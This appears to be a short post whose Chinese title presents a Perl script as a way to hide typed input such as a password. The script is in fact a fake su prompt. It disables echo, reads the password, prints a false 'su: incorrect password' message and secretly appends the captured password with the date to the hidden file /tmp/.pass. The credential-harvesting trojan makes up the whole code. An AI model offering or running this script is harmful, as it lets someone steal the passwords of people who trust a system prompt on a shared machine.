Perl : 如何造成key in 看不見(例如key password) 的效果

#!/usr/bin/perl

print "Password: ";
`stty -echo`;                  #不會echo，造成密碼的效果
$s1=<STDIN>;               #讀取鍵盤輸入
print "\n";
`stty echo`;                   #echo再回來
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);